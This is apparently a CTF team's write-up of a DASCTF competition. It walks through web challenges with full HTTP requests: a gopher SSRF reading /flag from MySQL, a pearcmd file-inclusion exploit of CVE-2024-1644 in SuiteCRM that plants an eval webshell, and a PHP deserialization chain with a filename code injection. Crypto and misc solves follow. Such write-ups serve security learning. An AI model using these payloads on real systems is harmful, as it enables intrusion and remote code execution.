队伍名称 HnuSec
排名 19 名
解题思路 WEB cool_index 签到题,关键逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 app.post ("/article" , (req, res ) => { const token = req.cookies .token ; if (token) { try { const decoded = jwt.verify (token, JWT_SECRET ); let index = req.body .index ; if (req.body .index < 0 ) { return res.status (400 ).json ({ message : "你知道我要说什么" }); } if (decoded.subscription !== "premium" && index >= 7 ) { return res .status (403 ) .json ({ message : "订阅高级会员以解锁" }); } index = parseInt (index); if (Number .isNaN (index) || index > articles.length - 1 ) { return res.status (400 ).json ({ message : "你知道我要说什么" }); } return res.json (articles[index]); } catch (error) { res.clearCookie ("token" ); return res.status (403 ).json ({ message : "重新登录罢" }); } } else { return res.status (403 ).json ({ message : "未登录" }); } });
前面有一堆jwt但实际上都无伤大雅,关键在于这个parseInt以及nodejs的弱类型比较。 我们的目标是访问到第七页,但是if (decoded.subscription !== "premium" && index >= 7) {
这条判断让我们无法通过,绕过很简单,index=7a
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /article HTTP/1.1 Host : c11ecb80-b958-49f7-af22-5d7cd4552a46.node5.buuoj.cn:81User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Accept : */*Content-Type : application/jsonOrigin : http://c11ecb80-b958-49f7-af22-5d7cd4552a46.node5.buuoj.cn:81Referer : http://c11ecb80-b958-49f7-af22-5d7cd4552a46.node5.buuoj.cn:81/Accept-Language : zh-CN,zh;q=0.9Cookie : token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InBvcCIsInN1YnNjcmlwdGlvbiI6Imd1ZXN0IiwiaWF0IjoxNzEzNjIxMzQ5LCJleHAiOjE3MTM3MDc3NDl9.LtXseEZrvF4cBbm9qIVv6DzKY8bDC_z8AJeWXkXJQh4Accept-Encoding : gzip, deflateContent-Length : 13{ "index" : "7a" }
EasySignin 先注册个账号。 提示我们不能查看图片,猜测是需要管理员,加上后台有个修改密码的接口,盲猜是任意密码重置 admin密码重置成功。接下来就去登录admin 这里应该是个ssrf的接口了,经过fuzz只可以使用gopher协议和http协议,我们可以用http协议探测内网 访问3306端口有回显,内容如下
1 2 J\x 00\x 00\x 00 5.7.29\x 00\x 07\x 00\x 00\x 00>}Oy\x 15\x 15
低版本mysql,最终结合gopher协议读取flag文件 gopherus生成payload 别忘了二次编码最终payload如下
1 gopher://127.0.0.1:3306/_
1 2 3 4 J\x 00\x 00\x 00 5.7.29\x 00\x 08\x 00\x 00\x 00hT\x 1a\x 1f\x 14r >\x 00\xff \xf 7\x 08\x 02\x 00\xff \x 81\x 15\x 00\x 00\x 00\x 00\x 00\x 00\x 00\x 00\x 00\x 00!`\x 16S @\x 00\x 00\x 00\x 07\x 01\x 05\x 04test\x 01\x 00\x 00\x 02\x 01(\x 00\x 00\x 03\x 03def\x 00\x 00\x 00\x 12load_ file('/flag')\x 00?\x 00\x 00\x 00\x 00\x 01\xfb \x 80\x 00\x 1f\x 00\x 00.\x 00\x 00\x 04-DASCTF{715d9012-12fe-42ce-ae83-18fd4285e99b} \x 07\x 00\x 00\x 05\xfe \x 00\x 00\x 02\x 00\x 00\x 00
最终得到flag
SuiteCRM 没给hint前以为是代码审计题,麻了,最后放hint发现是个简单题,当时犹豫安恒平台的问题导致可能就1解吧。 CVE-2024-1644https://github.com/salesagility/SuiteCRM/ 根据视频的操作,存在本地文件包含,而且题目又是docker环境,很容易想到pearcmd文件包含
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public function getIncludeFile (Request $request ): array { $baseUrl = $request ->getPathInfo (); $baseUrl = substr ($baseUrl , 1 ); if (strpos ($baseUrl , '.php' ) === false ) { $baseUrl .= 'index.php' ; } return [ 'dir' => '' , 'file' => $baseUrl , 'access' => true ]; }
漏洞点在于这里,他会对index.php后面的内容本地文件包含。 可以看到返回200了,这一注意是81端口,接下里我们就pear包含,正常流程
1 2 3 4 5 6 7 8 9 10 11 12 GET /index.php//usr/local/lib/php/pearcmd.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php HTTP/1.1 Host : ce1caa59-d343-4360-8aea-c775d17a6d63.node5.buuoj.cn:81Accept-Encoding : gzip, deflateCookie : LEGACYSESSID=81be055d743282032824d844121dba45; PHPSESSID=04d03e295b41e5622836f3b122e3b963; XSRF-TOKEN=ynCnaUpuQzEUurP2Ak5z9Px7yPb3ywqTxShSRt26LAE; ck_login_id_20=8a4b0568-268c-9812-73b3-65e88ae3bac3; ck_login_language_20=zh_CN; sugar_user_theme=suite8Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language : zh-CN,zh;q=0.9Cache-Control : max-age=0Referer : http://ce1caa59-d343-4360-8aea-c775d17a6d63.node5.buuoj.cn:81/
成功创建test.php,最后本地包含rce即可
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /index.php//tmp/test.php HTTP/1.1 Host : ce1caa59-d343-4360-8aea-c775d17a6d63.node5.buuoj.cn:81Accept-Encoding : gzip, deflateCookie : LEGACYSESSID=81be055d743282032824d844121dba45; PHPSESSID=04d03e295b41e5622836f3b122e3b963; XSRF-TOKEN=ynCnaUpuQzEUurP2Ak5z9Px7yPb3ywqTxShSRt26LAE; ck_login_id_20=8a4b0568-268c-9812-73b3-65e88ae3bac3; ck_login_language_20=zh_CN; sugar_user_theme=suite8Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language : zh-CN,zh;q=0.9Cache-Control : max-age=0Referer : http://ce1caa59-d343-4360-8aea-c775d17a6d63.node5.buuoj.cn:81/Content-Type : application/x-www-form-urlencodedcmd =system('cat /flag' )
Web1234(赛后解) 开局www.zip泄露 index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php error_reporting (0 );include "class.php" ;$Config = unserialize (file_get_contents ("/tmp/Config" ));foreach ($_POST as $key =>$value ){ if (!is_array ($value )){ $param [$key ] = addslashes ($value ); } } if ($_GET ['uname' ] === $Config ->uname && md5 (md5 ($_GET ['passwd' ])) === $Config ->passwd){ $Admin = new Admin ($Config ); if ($_POST ['m' ] === 'edit' ){ $avatar ['fname' ] = $_FILES ['avatar' ]['name' ]; $avatar ['fdata' ] = file_get_contents ($_FILES ['avatar' ]['tmp_name' ]); $nickname = $param ['nickname' ]; $sex = $param ['sex' ]; $mail = $param ['mail' ]; $telnum = $param ['telnum' ]; $Admin ->editconf ($avatar , $nickname , $sex , $mail , $telnum ); }elseif ($_POST ['m' ] === 'reset' ) { $Admin ->resetconf (); } }else { die ("pls login! :)" ); }
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 <?php class Admin { public $Config ; public function __construct ($Config ) { $Config ->nickname = (is_string ($Config ->nickname) ? $Config ->nickname : "" ); $Config ->sex = (is_string ($Config ->sex) ? $Config ->sex : "" ); $Config ->mail = (is_string ($Config ->mail) ? $Config ->mail : "" ); $Config ->telnum = (is_string ($Config ->telnum) ? $Config ->telnum : "" ); $this ->Config = $Config ; echo ' <form method="POST" enctype="multipart/form-data"> <input type="file" name="avatar" > <input type="text" name="nickname" placeholder="nickname"/> <input type="text" name="sex" placeholder="sex"/> <input type="text" name="mail" placeholder="mail"/> <input type="text" name="telnum" placeholder="telnum"/> <input type="submit" name="m" value="edit"/> </form>' ; } public function editconf ($avatar , $nickname , $sex , $mail , $telnum ) { $Config = $this ->Config; $Config ->avatar = $this ->upload ($avatar ); $Config ->nickname = $nickname ; $Config ->sex = (preg_match ("/男|女/" , $sex , $matches ) ? $matches [0 ] : "武装直升机" ); $Config ->mail = (preg_match ('/.*@.*\..*/' , $mail ) ? $mail : "" ); $Config ->telnum = substr ($telnum , 0 , 11 ); $this ->Config = $Config ; file_put_contents ("/tmp/Config" , serialize ($Config )); if (filesize ("record.php" ) > 0 ){ [new Log ($Config ),"log" ](); } } public function resetconf ( ) { file_put_contents ("/tmp/Config" , base64_decode ('Tzo2OiJDb25maWciOjc6e3M6NToidW5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjMyOiI1MGI5NzQ4Mjg5OTEwNDM2YmZkZDM0YmRhN2IxYzlkOSI7czo2OiJhdmF0YXIiO3M6MTA6Ii90bXAvMS5wbmciO3M6ODoibmlja25hbWUiO3M6MTU6IuWwj+eGiui9r+ezlk92TyI7czozOiJzZXgiO3M6Mzoi5aWzIjtzOjQ6Im1haWwiO3M6MTU6ImFkbWluQGFkbWluLmNvbSI7czo2OiJ0ZWxudW0iO3M6MTE6IjEyMzQ1Njc4OTAxIjt9' )); } public function upload ($avatar ) { $path = "/tmp/" .preg_replace ("/\.\./" , "" , $avatar ['fname' ]); file_put_contents ($path ,$avatar ['fdata' ]); return $path ; } public function __wakeup ( ) { $this ->Config = ":(" ; } public function __destruct ( ) { echo $this ->Config->showconf (); } } class Config { public $uname ; public $passwd ; public $avatar ; public $nickname ; public $sex ; public $mail ; public $telnum ; public function __sleep ( ) { echo "<script>alert('edit conf success\\n" ; echo preg_replace ('/<br>/' ,'\n' ,$this ->showconf ()); echo "')</script>" ; return array ("uname" ,"passwd" ,"avatar" ,"nickname" ,"sex" ,"mail" ,"telnum" ); } public function showconf ( ) { $show = "<img src=\"data:image/png;base64," .base64_encode (file_get_contents ($this ->avatar))."\"/><br>" ; $show .= "nickname: $this ->nickname<br>" ; $show .= "sex: $this ->sex<br>" ; $show .= "mail: $this ->mail<br>" ; $show .= "telnum: $this ->telnum<br>" ; return $show ; } public function __wakeup ( ) { if (is_string ($_GET ['backdoor' ])){ $func = $_GET ['backdoor' ]; $func (); } } } class Log { public $data ; public function __construct ($Config ) { $this ->data = PHP_EOL.'$_' .time ().' = \'' ."Edit: avatar->$Config ->avatar, nickname->$Config ->nickname, sex->$Config ->sex, mail->$Config ->mail, telnum->$Config ->telnum" .'\';' .PHP_EOL; } public function __toString ( ) { file_put_contents ("record.php" ,"<?php error_reporting(0); " ); echo 123 ; if ($this ->data === "log_start()" ){ file_put_contents ("record.php" ,"<?php error_reporting(0); " ); } return ":O" ; } public function log ( ) { file_put_contents ('record.php' , $this ->data, FILE_APPEND); } }
这道题的思路很简单触发Log的toString方法即可,但是触发点并不是在反序列化,仔细审计一下后会发现是在序列化_sleep函数中
1 2 3 4 5 6 public function __sleep ( ) { echo "<script>alert('edit conf success\\n" ; echo preg_replace ('/<br>/' ,'\n' ,$this ->showconf ()); echo "')</script>" ; return array ("uname" ,"passwd" ,"avatar" ,"nickname" ,"sex" ,"mail" ,"telnum" ); }
序列化时会触发showconf函数
1 2 3 4 5 6 7 8 public function showconf ( ) { $show = "<img src=\"data:image/png;base64," .base64_encode (file_get_contents ($this ->avatar))."\"/><br>" ; $show .= "nickname: $this ->nickname<br>" ; $show .= "sex: $this ->sex<br>" ; $show .= "mail: $this ->mail<br>" ; $show .= "telnum: $this ->telnum<br>" ; return $show ; }
在file_get_contents的时候将avatar置为Log类即可触发,实现的方式也很简单,在我们的入口点会触发editconf函数,在这里面有一个upload
1 2 3 4 5 public function upload ($avatar ) { $path = "/tmp/" .preg_replace ("/\.\./" , "" , $avatar ['fname' ]); file_put_contents ($path ,$avatar ['fdata' ]); return $path ; }
我们可以往tmp目录下写任意文件和任意文件内容,这时候我们只需要写一个sess_boogipop
进去,内容是序列化字符串,就可以触发_sleep函数。POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php class Admin { public $Config ; } class Config { public $uname ; public $passwd ; public $avatar ; public $nickname ; public $sex ; public $mail ; public $telnum ; } class Log { public $data ; } $exp =new Config ();$sink =new Log ();$sink ->data="log_start()" ;$exp ->avatar=$sink ;echo serialize ($exp );
我们上传一个叫做sess_boogipop的文件,内容是
1 aaa|O:6 :"Config" :7 :{s:5 :"uname" ;N;s:6 :"passwd" ;N;s:6 :"avatar" ;O:3 :"Log" :1 :{s:4 :"data" ;s:11 :"log_start()" ;}s:8 :"nickname" ;N;s:3 :"sex" ;N;s:4 :"mail" ;N;s:6 :"telnum" ;N;}
这里需要注意我们要满足php session的格式aaa|bbb
,题目初始密码在那一串base64里,解密后内容如下
1 O:6:"Config":7:{s:5:"uname";s:5:"admin";s:6:"passwd";s:32:"50b9748289910436bfdd34bda7b1c9d9";s:6:"avatar";s:10:"/tmp/1.png";s:8:"nickname";s:15:"小熊软糖OvO";s:3:"sex";s:3:"女";s:4:"mail";s:15:"[email protected] ";s:6:"telnum";s:11:"12345678901";}
cmd5解密出来密码是1q2w3e
然后我们上传sess_boogipop文件 然后我们输入backdoor=session_start
就可以触发sleep函数,进而触发toString,记得带上PHPSESSID=boogipop
,此时record.php已经有我们的内容了,我们可以考虑第二步往里面写shell了,这里注意生成的正常内容如下
1 2 3 4 $ _ 1713609381 = 'Edit: avatar->/tmp/, nickname->aaaaa, sex->武装直升机, mail->, telnum->';$ _ 1713609389 = 'Edit: avatar->/tmp/1, nickname->aaaa\' , sex->武装直升机, mail->, telnum->';
由于入口加了个waf 会对引号转义,但是没有对$_FILE的filename转义,因此在文件名可以存在逃逸。文件名为1';eval($_POST[1]);#
即可
Crypto The Mystery of Math 题目是让我们输入一个逻辑式(这里我以 来指代),然后会返回给我们以下信息:
1,密文: 2,模数: 3,提示: (其中CNF(a)是a的合取范式,DNF(a)是a的析取范式)
既然是这样的话,我们肯定得利用点小trick——找一个使得 的逻辑式 因为这样的话,便有: 我这里用的是这个:p∧q∧r∧s ,那么对应的CNF(a)便是:**(p∧q∧r∧s)。 这样就有一部分符号所对应的随机数 了 然后本以为结束了,但是发现random_pro的未知信息太多了,爆不了;所以我们可以反复交互靶机,去找到一个“ 除去p里的符号以外,剩下的未知信息极少**”的random_pro及tip,最后去爆破此时random_pro的未知信息所对应的随机数,计算出素数p后进行RSA解密即可。 这里比较巧合的是——我交互出只有一位不知道的random_pro,所以进行一个23次的循环就行。 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 from Crypto.Util.number import *from itertools import combinationsfrom tqdm import tqdmfrom gmpy2 import invert""" 交互得到的信息 Please enter a proposition (up to four variables, e.g. p ∧ q): p∧q∧r∧s random_pro: (q∧p)∧(p∧p→q) c: 41995810424050464263591488554448329862268580803509430819016224815553338100888730896803336612673840017823427423514275862910733716684469925016536292401838549242607815557380733283312997155937593349267904769325582237443602584182267833691493238910650296499006238737051108479 n: 55175127952509866925917683580771159604579625153201086866979697201304022611177281378259399324843229832453057891022941155251249573902422749989427069699961969897437050838279218610819986530616258141599622993673644866656585227220278835105482801123826751956496319091479635337 tip: 12114630541506105101731501666541981434969941617155098749915270357037632891606470511445503452415625000000 """ class Godel : def __init__ (self, dict ): self.table = ['﹁' , '∨' , '∧' , '→' , '↔' , 's' , '(' , ')' , 'p' , 'q' , 'r' , 't' ] self.dict = dict def generate_dict (self, max_value=30 ): res = {} used = set () for k in self.table: while True : r = randint(1 , max_value) if r not in used: res[k] = r used.add(r) break return res def generate_primes (self, count, start=2 ): primes = [] tmp = start while len (primes) < count: primes.append(tmp) tmp = next_prime(tmp) return primes def translate (self, seq ): p = self.generate_primes(len (seq)) gn = 1 for c, prime in zip (seq, p): gn *= prime ** self.dict [c] return gn c= 41995810424050464263591488554448329862268580803509430819016224815553338100888730896803336612673840017823427423514275862910733716684469925016536292401838549242607815557380733283312997155937593349267904769325582237443602584182267833691493238910650296499006238737051108479 n= 55175127952509866925917683580771159604579625153201086866979697201304022611177281378259399324843229832453057891022941155251249573902422749989427069699961969897437050838279218610819986530616258141599622993673644866656585227220278835105482801123826751956496319091479635337 tip= 12114630541506105101731501666541981434969941617155098749915270357037632891606470511445503452415625000000 p = 2 i = 0 if 1 : table = ['﹁' , '∨' , '∧' , '→' , '↔' , 's' , '(' , ')' , 'p' , 'q' , 'r' , 't' ] dic = {i: 0 for i in table} cs = "(p∧q∧r∧s)" for i in cs: if dic[i] == 0 : while tip % p == 0 : tip //= p dic[i] += 1 p = next_prime(p) else : tip //= p**dic[i] p = next_prime(p) table = [i for i in range (1 , 31 ) if i not in dic.values()] tar = "(q∧p)∧(p∧p→q)" tar1 = "→" for i in tqdm(table): dic1 = dic dic1[tar1] = i g = Godel(dic1) p = g.translate(tar) p = next_prime(p) if n % p == 0 : q = n // p e = 65537 d = invert(e, (p-1 )*(q-1 )) print (long_to_bytes(pow (c, d, n))) break
Misc badmes 采用最古老的办法,人工判断,是垃圾短信输1,一直到达240分
tele 根据https://zhuanlan.zhihu.com/p/26797664 对P2P通信标准协议之STUN的分析,我们可以轻易地找到发起者的ip